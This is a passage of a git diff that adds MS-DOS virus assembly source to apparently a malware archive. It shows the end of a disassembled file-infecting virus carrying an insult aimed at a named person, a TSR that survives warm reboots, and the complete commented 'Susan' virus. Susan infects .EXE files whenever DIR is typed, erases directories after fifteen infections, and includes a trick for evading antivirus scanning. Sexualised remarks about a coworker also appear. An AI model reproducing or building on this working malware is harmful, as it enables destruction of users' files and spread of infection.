+;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_9 proc near + call sub_13 ; (0297) + mov ah,3Bh ; ';' + mov dx,offset ds:[4F9h] ; (8344:04F9=2) + add dx,bp + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_10 ; (0232) + call sub_14 ; (02AB) + retn +sub_9 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_10 proc near + call sub_11 ; (025E) + jc loc_ret_14 ; Jump if carry Set + call sub_13 ; (0297) + call sub_18 ; (02EE) + jnc loc_13 ; Jump if carry=0 + call sub_15 ; (02B8) + jc loc_13 ; Jump if carry Set +loc_12: + mov ah,3Bh ; ';' + mov dx,data_22e ; (8344:055C=0) + add dx,bp + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_10 ; (0232) + jnc loc_13 ; Jump if carry=0 + call sub_14 ; (02AB) + call sub_16 ; (02D7) + jnc loc_12 ; Jump if carry=0 +loc_13: + call sub_12 ; (027C) + +loc_ret_14: + retn +sub_10 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_11 proc near + mov di,[bp+294h] + cmp di,0FA00h + cmc ; Complement carry + jc loc_ret_15 ; Jump if carry Set + add di,offset ds:[100h] ; (8344:0100=0E8h) + mov [bp+294h],di + mov si,offset data_21 ; (8344:053E=0) + add si,bp + mov cx,80h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + +loc_ret_15: + retn +sub_11 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_12 proc near + pushf ; Push flags + mov si,[bp+294h] + sub si,100h + xchg si,[bp+294h] + mov di,offset data_21 ; (8344:053E=0) + add di,bp + mov cx,80h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + popf ; Pop flags + retn +sub_12 endp + + db 0F1h, 69h + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_13 proc near + mov di,[bp+294h] + add di,data_3e ; (8344:0080=0) + mov al,5Ch ; '\' + stosb ; Store al to es:[di] + mov ah,47h ; 'G' + mov si,di + xor dl,dl ; Zero register + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + retn +sub_13 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_14 proc near + mov ah,3Bh ; ';' + mov dx,[bp+294h] + add dx,data_3e ; (8344:0080=0) + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + retn +sub_14 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_15 proc near + mov cx,12h + mov dx,offset ds:[4FBh] ; (8344:04FB=0) + call sub_20 ; (0343) + jc loc_ret_18 ; Jump if carry Set + call sub_17 ; (02E0) +loc_16: + jc loc_ret_18 ; Jump if carry Set + mov al,2Eh ; '.' + cmp al,[bp+55Ch] + jne loc_17 ; Jump if not equal + call sub_16 ; (02D7) + jmp short loc_16 ; (02C6) +loc_17: + clc ; Clear carry flag + +loc_ret_18: + retn +sub_15 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_16 proc near + call sub_21 ; (034A) + jc loc_ret_19 ; Jump if carry Set + call sub_17 ; (02E0) + +loc_ret_19: + retn +sub_16 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_17 proc near + mov cl,10h +loc_20: + test cl,[bp+553h] + jnz loc_ret_21 ; Jump if not zero + call sub_21 ; (034A) + jnc loc_20 ; Jump if carry=0 + +loc_ret_21: + retn +sub_17 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_18 proc near + push word ptr [bp+4EAh] + mov dx,offset data_15+0Dh ; (8344:0509=0) + xor al,al ; Zero register + call sub_19 ; (0313) + jnc loc_22 ; Jump if carry=0 + mov dx,offset data_15+19h ; (8344:0515=0) + xor al,al ; Zero register + call sub_19 ; (0313) + jnc loc_22 ; Jump if carry=0 + mov dx,offset data_15+1Fh ; (8344:051B=0) + mov al,0FFh + call sub_19 ; (0313) +loc_22: + pop word ptr [bp+4EAh] + retn +sub_18 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_19 proc near + mov [bp+4EAh],al + mov cx,23h + call sub_20 ; (0343) + jc loc_ret_27 ; Jump if carry Set + mov cx,3 +loc_23: + loop locloop_24 ; Loop if cx > 0 + + stc ; Set carry flag + retn + +locloop_24: + call sub_22 ; (034F) + jc loc_25 ; Jump if carry Set + call sub_25 ; (03A9) + jc loc_25 ; Jump if carry Set + call sub_26 ; (03DF) + jmp short loc_26 ; (033E) +loc_25: + call sub_23 ; (0371) + call sub_21 ; (034A) + jnc loc_23 ; Jump if carry=0 + retn +loc_26: + call sub_23 ; (0371) + clc ; Clear carry flag + +loc_ret_27: + retn +sub_19 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_20 proc near + mov ah,4Eh ; 'N' + add dx,bp + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + retn +sub_20 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_21 proc near + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + retn +sub_21 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_22 proc near + push cx + xor ax,ax ; Zero register + cmp ax,[bp+55Ah] + jb loc_28 ; Jump if below + mov ax,0F000h + cmp ax,[bp+558h] + jb loc_28 ; Jump if below + mov ax,9 + cmp [bp+558h],ax + jb loc_28 ; Jump if below + mov cl,0 + call sub_24 ; (039C) +loc_28: + pop cx + retn +sub_22 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_23 proc near + push cx + mov bx,[bp+53Ch] + cmp bx,0FFFFh + je loc_29 ; Jump if equal + mov ax,5701h + mov cx,[bp+554h] + mov dx,[bp+556h] + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov bx,0FFFFh + mov [bp+53Ch],bx +loc_29: + mov cl,[bp+553h] + call sub_24 ; (039C) + pop cx + retn +sub_23 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_24 proc near + mov ax,4301h + xor ch,ch ; Zero register + mov dx,data_22e ; (8344:055C=0) + add dx,bp + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + retn +sub_24 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_25 proc near + push cx + mov dx,data_22e ; (8344:055C=0) + add dx,bp + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_30 ; Jump if carry Set + mov [bp+53Ch],ax + mov dx,offset ds:[10Bh] ; (8344:010B=9) + add dx,bp + mov cx,9 + mov bx,ax + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov cx,6 + mov si,offset ds:[4EEh] ; (8344:04EE=0) + add si,bp + mov di,offset data_7 ; (8344:010E=90h) + add di,bp + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_31 ; Jump if not zero + stc ; Set carry flag +loc_30: + pop cx + retn +loc_31: + clc ; Clear carry flag + pop cx + retn +sub_25 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_26 proc near + mov di,offset ds:[4ECh] ; (8344:04EC=0E8h) + add di,bp + mov ax,[bp+558h] + sub ax,3 + stosw ; Store ax to es:[di] + mov ax,4200h + mov bx,[bp+53Ch] + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + mov cx,9 + mov dx,offset data_9 ; (8344:04EB=0) + add dx,bp + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + mov cx,435h + mov dx,offset ds:[109h] ; (8344:0109=90h) + add dx,bp + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + retn +sub_26 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_27 proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + test dl,3 + jnz loc_ret_33 ; Jump if not zero + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + test dh,3 + jnz loc_ret_33 ; Jump if not zero + mov cx,47h + mov si,data_1e ; (009D:0446=10h) + add si,bp + mov di,si + +locloop_32: + lodsb ; String [si] to al + sub al,80h + stosb ; Store al to es:[di] + loop locloop_32 ; Loop if cx > 0 + + mov ah,9 + mov dx,data_1e ; (009D:0446=10h) + add dx,bp + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_33: +data_8 db 'Craig Murphy calls himself SUPER' + db 'HACKER but he''s just a talentle' + db 'ss Jerk!', 0Dh, 0Ah, '$' + +;烝烝 External Entry into Subroutine 烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 + +sub_28: + mov al,0FFh + cmp al,[bp+4EAh] + je loc_34 ; Jump if equal + retn +loc_34: + push word ptr ds:data_2e ; (8344:002C=0) + pop es + xor di,di ; Zero register + mov al,1 +loc_35: + scasb ; Scan es:[di] for al + jnz loc_35 ; Jump if not zero + inc di + push es + pop ds + mov dx,di + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_36 ; Jump if carry Set + mov es,cx + mov ax,4301h + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_36 ; Jump if carry Set + mov ah,3Ch ; '<' + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + push ds + push dx + push cs + pop ds + mov dx,offset ds:[100h] ; (8344:0100=0E8h) + mov bx,ax + mov ah,40h ; '@' + mov cx,9 + add cx,bp + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + pop dx + pop ds + mov cx,es + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_36: + push cs + pop ds + mov ah,9 + mov dx,offset data_15+25h ; (8344:0521=0) + add dx,bp + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ah,4Ch ; 'L' + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +data_9 db 0 +loc_37: + call sub_29 ; (04F6) + dec bp + jnz $+74h ; Jump if not zero + jo $+6Ah ; Jump if overflow=1 + jns loc_37 ; Jump if not sign +sub_27 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_29 proc near + popf ; Pop flags + add [bx+si],al + add bl,[si+0] +data_15 db '*.*', 0 + db '\^^^^^^^^', 0 + db 'COMMAND.COM', 0 + db '*.COM', 0 + db '*.EXE', 0 + db 'Bad command or file name', 0Dh, 0Ah + db '$' + db 6 +data_21 db 0 +sub_29 endp + + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.survive.asm b/MSDOS/Virus.MSDOS.Unknown.survive.asm new file mode 100644 index 00000000..54a485a7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.survive.asm @@ -0,0 +1,226 @@ + +; Survive a warm reboot on a XT. +; +; Compile under Turbo Assembler 2.5 +; This program works on a generic IBM PC/XT + + + .model tiny + .radix 16 + .code + + org 100 + +start: + jmp init + +handler: + push ds + push ax + xor ax,ax + mov ds,ax + mov al,ds:[417] + and al,0c + cmp al,0c + jnz no_ctrl_alt + in al,[60] + cmp al,53 + jz now_fuck +no_ctrl_alt: + pop ax + pop ds + db 0ea +oldvect dd ? +now_fuck: + mov ds:[472],1234 + mov ax,ds:[413] + mov cx,6 + shl ax,cl + push ax + mov es,ax + mov di,offset handler + push cs + pop ds + mov si,di + repz cmpsw + jnz new_move + mov dl,es:[top_seg] + pop ax + jmp short set_segm +new_move: + mov al,ah + cmp al,0a0 + jnc set_top + mov al,0a0 +set_top: + xchg ax,dx + pop ax + sub ax,1000 +set_segm: + mov cs:[top_seg],dl + push ax + mov es,ax + mov di,0e000 + mov ax,0f000 + mov ds,ax + mov si,di + mov cx,1000 + cld + rep movsw + cmp byte ptr [si-10],0ea + jnz cant_fuck + cmp [si-0dh],0f000 + jnz cant_fuck + mov di,[si-0f] + cmp di,0e000 + jc cant_fuck + mov al,[di] + cmp al,0e9 + jnz no_jmp + add di,[di+1] + add di,3 +no_jmp: + push di + mov cx,800 + call protect_ram + call replace_ints + push es + pop ds + mov bx,0e000 + mov cx,2000 + xor al,al +check_lup: + add al,[bx] + inc bx + loop check_lup + neg al + mov [di-1],al + push cs + pop ds + mov word ptr ds:[tmp_handler],5ebh + mov si,offset start + mov di,si + mov cx,init-start + rep movsb + retf +cant_fuck: + db 0ea + dw 0 + dw 0ffff + +protect_ram: + jcxz cant_fuck + mov al,80 + repnz scasb + jnz protect_ram + mov ax,[di] + and al,0f8 + cmp al,0f8 + jnz protect_ram + cmp ah,dl + jnz protect_ram + mov ax,es + mov es:[di+1],ah + ret + +top_seg db ? + +replace_ints: + jcxz cant_fuck + mov al,0a5 + repnz scasb + jnz replace_ints + cmp [di],4747 + jnz replace_ints + cmp [di+2],0fbe2 + jnz replace_ints + add di,4 + push cs + pop ds + mov [dummy],di + mov si,offset my_piece + mov cx,my_top-my_piece + rep movsb +exit_prn: + ret + +my_piece: + push ax + mov cx,20 + xor di,di +re_init: + scasw + mov ax,0f000 + stosw + loop re_init + mov ax,offset tmp_handler + xchg ax,es:[di+44-80] + mov cs:[old_tmp],ax + mov ax,cs + xchg ax,es:[di+46-80] + mov cs:[old_tmp+2],ax + pop ax + db 0ea +dummy dw ? + dw 0f000 + db 0 +my_top: + +print: + mov si,offset message +print_msg: + lodsb + cmp al,'$' + jz exit_prn + mov ah,0e + int 10 + jmp print_msg + +tmp_handler: + jmp $ +go_old: + db 0ea +old_tmp dw ? + dw ? + push ds + push si + push ax + xor ax,ax + mov ds,ax + mov ax,offset handler + xchg ax,ds:[24] + mov word ptr cs:[oldvect],ax + mov ax,cs + xchg ax,ds:[26] + mov word ptr cs:[oldvect+2],ax + push cs + pop ds + mov word ptr [tmp_handler],9090 + call print + pop ax + pop si + pop ds + jmp go_old + +message: + db 'Never ending story...',0dh,0a,'$' + +init: + mov ax,3509 + int 21 + mov word ptr [oldvect],bx + mov word ptr [oldvect+2],es + mov dx,offset handler + mov ah,25 + int 21 + call print + mov dx,offset init + int 27 + + end start + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 + diff --git a/MSDOS/Virus.MSDOS.Unknown.susan1.asm b/MSDOS/Virus.MSDOS.Unknown.susan1.asm new file mode 100644 index 00000000..843ddca6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.susan1.asm @@ -0,0 +1,388 @@ +Susan virus: included in Crypt Newsletter 13 + +COMMENT * + + Susan Virus, Strain A + Written by NB + + This program needs to be assembled with Turbo Assembler. + Special thanks go to Richard S. Sadowsky of TurboPower Software + for the help on using INT 2F with those majick functions! + + This is an example of an interesting technique for writing a virus + that is terminate-and-stay-resident. + + Description: + + Susan is a file overwrite virus. Named for a woman in my department + who is overly concerned about virii, but has no idea about what the + fuck they actually are. She also has real nice tits. This is a TSR + that only infects .EXE files. Each time the user types "DIR", the + first .EXE file found is infected. After 15 such infections, then + each time DIR is typed, all files are erased in that directory. + + Infected .EXEs are destroyed and will not run. Attempts to run them + will display the message "Bad command or file name" message. + + Interesting Features: + + - File size and date-stamp of infected file is maintained. + + - Uses Vienna Virus technique of using the file time to determine + if a target file is infected. + + - Infects and zaps everytime the user types a plain DIR command. + + - Hooks INT 2F for handling the DIR command. + + - Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in + installed in memory. + + - Writes the bug directly from memory. +* + +.model small +.code + +LOCALS @@ + +ORG 100h ; for COM file + +DTA STRUC ; used for file searching + dtaReserved db 21 dup (0) + dtaAttrib db 0 + dtaTime dw 0 + dtaDate dw 0 + dtaSize dd 0 + dtaName db 13 dup (0) +DTA ENDS + +DPL STRUC ; DOS Parameter List used for undoc funcs + dplAX DW 0 + dplBX DW 0 + dplCX DW 0 + dplDX DW 0 + dplSI DW 0 + dplDI DW 0 + dplDS DW 0 + dplES DW 0 + dplCID DW 0 ; computer ID (0 = current system) + dplPID DW 0 ; process ID (PSP on specified computer) +DPL ENDS + +Pointer STRUC ; nice structure for a pointer type + Ofst DW 0 + Segm DW 0 +Pointer ENDS + +Start: + JMP Initialize + +OurCommandLen EQU 3 +PathOfs EQU 80h ; Use command tail of PSP as path buffer +FuckMeNow EQU 16 + +virSig dw 'uS' ; Don't delete this line... +virName db 'san' ; ...this is the Susan Virus! +EofMarker db 26 +OldInt2F Pointer <> +FNameLen db 3 +FileName db '*.*', 0 +DeleteDPL DPL <> +FuckCount db 0 +SaveDTA Pointer <> +TargetMask db '*.EXE', 0 +Victim DTA <> +OurCmd db 'DIR', 0Dh + +IsInfected: + ; This will detect if the .exe is already infected. We are using + ; a nifty technique pulled from the Vienna Virus. If the file's + ; seconds is 62, then that file is infected. + MOV AX, Victim.dtaTime + AND AX, 1Fh + CMP AX, 1Fh ; >60 seconds + ; JZ infected + ; JNZ not infected + RET + +SearchExec: + ; Returns AX = 1 if a uninfected file found + XOR CX,CX ; Search for an .EXE file + MOV DX,OFFSET TargetMask ; DS has seg + MOV AH, 4Eh + INT 21h + JC @@AlreadyInfected ; No .exes in this directory + + CALL IsInfected ; Is this file infected? + JNZ @@NotInfectedYET + + ; Need to look for next file (maybe next version, haha) + +@@AlreadyInfected: + XOR AX, AX ; Zeros out AX + RET +@@NotInfectedYET: + MOV AX, 1 ; Return a <> Zero indicator: Boolean + RET + +CopySelf: + MOV DX, OFFSET Victim.dtaName ; Open file for read/write + + MOV AX, 4301h + MOV CX, 0 ; Clear all attributes to NORMAL + INT 21h + + MOV AH, 3Dh ; Now open up the file... Don't worry now about nets + MOV AL, 2 ; read/write access + int 21h + MOV BX, AX + + PUSH CS ; Write the virus to the start of the open file + POP DS + MOV DX,OFFSET Start ; Start of virus + MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus + MOV AH,40h + NOP ; WOW! this NOP will suppresses McAfees' scan from + INT 21h ; thinking this is a VR [FR] virus! + + MOV DX, Victim.dtaDate + MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp + MOV AX, 5701h + OR CX, 001Fh ; And set the time to 62 seconds! + INT 21h ; ala Vienna Virus + + MOV AH, 3Eh ; Close up the file - we're done + INT 21h + + RET + +Manipulate: + PUSH AX ; Uh...Save registers? + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + + MOV SI,CS ; get Canonical pathname + MOV ES,SI + MOV DS,SI + + CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect? + JL @@InfectCity + + MOV DI,PathOfs + MOV SI,OFFSET FileName ; Mask to delete + MOV AH,60h + INT 21h + + MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List + MOV [SI].dplAX,4100h + MOV AX,CS + MOV [SI].dplDS,AX + MOV [SI].dplDX,PathOfs + MOV [SI].dplES,0 + MOV [SI].dplCID,0 + MOV [SI].dplPID,AX + + MOV DS,AX ; Make DOS Server Function Call + MOV DX,SI + MOV AX,5D00h + INT 21h + +; Infect more here... +@@InfectCity: + MOV AH, 2FH ; get the current DTA address + INT 21h + MOV AX,ES + MOV SaveDTA.Segm, AX ; Save it + MOV SaveDTA.Ofst, BX + + MOV DX, OFFSET victim ; Set DTA to this glob of memory + MOV AH, 1Ah + INT 21h + + CALL SearchExec + CMP AX, 0 + JZ @@InfectNot + + CALL CopySelf + INC FuckCount ; Track the time until eating files... + + PUSH DS ; Restore the DTA + MOV AX, SaveDTA.Segm + MOV DS, AX + MOV DX, SaveDTA.Ofst + MOV AH, 1Ah + INT 21h + POP DS + +; And return to the way it was... +@@InfectNot: + POP ES + POP DS + POP DI + POP SI + POP DX + POP AX + +; If you want the DOS command to not execute, then you just need to uncomment +; out the next line: + +; MOV BYTE PTR [SI],0 ; clear out the command string + + RET + +; convert pascal style string in DS:SI to uppercase +UpperCaseSt: + PUSH CX + PUSH SI + XOR CX,CX + MOV CL,BYTE PTR [SI] +@@UpcaseCh: ; Oh well, not too hard... + INC SI + CMP BYTE PTR [SI],'a' + JB @@NotLower + CMP BYTE PTR [SI],'z' + JA @@NotLower + SUB BYTE PTR [SI],'a' - 'A' +@@NotLower: + LOOP @@UpcaseCh + POP SI + POP CX + RET + +; zf set if match, zf not set if no match +IsMatch: + ; NOTE: ds:bx has command line + ; ofs 0 has max length of command line + ; ofs 1 has count of bytes to follow command line text, + ; terminated with 0Dh + PUSH CX + PUSH SI + PUSH DI + PUSH ES + MOV SI,BX + INC SI + CALL UpperCaseSt + INC SI + MOV CX,CS + MOV ES,CX + MOV DI,OFFSET OurCmd + MOV CX,OurCommandLen + 1 + CLD + REPE CMPSB + POP ES + POP DI + POP SI + POP CX + RET + +IsMatch2: + PUSH CX + PUSH SI + PUSH DI + PUSH ES + XOR CX,CX + MOV CL,BYTE PTR [SI] + INC SI + CMP CL,OurCommandLen + JNZ @@NotOurs + MOV DI,CS + MOV ES,DI + MOV DI,OFFSET OurCmd + CLD + REPE CMPSB +@@NotOurs: + POP ES + POP DI + POP SI + POP CX + RET + +Int2FHandler: + CMP AX, 010Fh ; Am I installed? + JNZ CheckCmd + MOV AX, virSig + IRET +CheckCmd: + CMP AH,0AEh ; a nifty-c00l majick function + JNE @@ChainInt2F + CMP AL,0 + JE @@CheckCommand + CMP AL,1 + JE @@ExecuteCommand +@@ChainInt2F: + JMP DWORD PTR CS:[OldInt2F] + +@@CheckCommand: ; Dos is checking if we are a valid command + CMP DX,0FFFFh + JNE @@ChainInt2F + CALL IsMatch + JNZ @@ChainInt2F + MOV AL,0FFh + IRET + +@@ExecuteCommand: ; Dos says "yup! - Execute it!" + CMP DX,0FFFFh + JNE @@ChainInt2F + CALL IsMatch2 + JNZ @@ChainInt2F + CALL Manipulate + IRET + +Initialize: + MOV FuckCount, 0 ; Clear it since we may have written junk + + MOV DX,OFFSET InstallMsg + MOV AH,09h + INT 21h + + MOV AH,30h ; Check DOS version >= 3.3 + INT 21h + XCHG AH,AL + CMP AX,0303h + JB @@InstallBad + + ; NOTE: This checks to see if we are already installed in memory. + ; Basically, we have added a new subfunction to the PRINT funcs + ; which returns my initials if installed. + MOV AX, 010Fh ; Check if we are installed + INT 2Fh + CMP AX, virSig + JZ @@InstallBad + + MOV AX,352Fh ; Lets get and save int 2F + INT 21h + MOV OldInt2F.Ofst,BX + MOV OldInt2F.Segm,ES + MOV DX,OFFSET Int2FHandler ; And set it to ours + MOV AX,252Fh + INT 21h + MOV SI,2Ch + MOV AX,[SI] ; get segment of env's memory + MOV ES,AX + MOV AH,49h ; release environment block's memory + INT 21h + + ; NOTE: Normally, we would have something like OFFSET INITIALIZE but + ; since we want to write the code from memory to disk, we have to + ; keep the whole thing in memory. + MOV DX,OFFSET EndOBug + ADD DX,15 + MOV CL,4 + SHR DX,CL + MOV AX,3100h + INT 21h ; Terminate and stay resident! + +@@InstallBad: + MOV AX,4C00h ; Just quit with no message - no sense telling what + INT 21h ; may have occured... + +InstallMsg: + db 'Bad command or file name', 0Dh, 0Ah +EndOBug db '$' ; Very important (tho lame) - Do not remove! + +_TEXT ENDS + END Start diff --git a/MSDOS/Virus.MSDOS.Unknown.svc5-a.asm b/MSDOS/Virus.MSDOS.Unknown.svc5-a.asm new file mode 100644 index 00000000..3219c7b6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.svc5-a.asm @@ -0,0 +1,1377 @@ + .model tiny + .code +; SVC 5-A +; Disassembly done by Dark Angel of Phalcon/Skism +; Assemble with Tasm /m SVC5-A + org 0 + +start: + call next +next: 